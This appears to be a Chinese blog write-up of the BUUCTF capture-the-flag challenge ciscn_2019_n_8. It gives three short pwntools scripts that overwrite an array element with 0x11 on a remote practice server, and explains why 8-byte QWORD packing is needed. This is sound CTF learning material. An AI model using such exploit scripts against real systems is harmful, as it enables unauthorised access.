[BUUCTF-pwn]——ciscn_2019_n_8

本文详细介绍了如何解决一个CTF中的缓冲区溢出问题,涉及到了64位环境下地址的正确表示。在原始exploit中,由于对QWORD的理解错误,导致尝试失败。通过修正,使用p64()或两个p32()来正确填充8字节的地址,最终成功交互。该过程展示了对内存管理和指针理解的重要性。
摘要由CSDN通过智能技术生成

[BUUCTF-pwn]——ciscn_2019_n_8

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_8
  • 题目
    在这里插入图片描述
    上去checksec一下,吓一跳保护基本全开了。在这里插入图片描述
    在IDA中一看,开心了。如此简单 只需要v[13] ==17 就好。因为var是以字符串的形式输入的。所以exploit如下:

在这里插入图片描述

exploit

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11))
p.interactive()

发现不可以, 点不开 _QWORD 就去百度了一下
qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节
所以expoit改下应该为

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()

或者

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11) + p32(0)) # 32对应4个字节, 64对应8个字节
p.interactive()
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值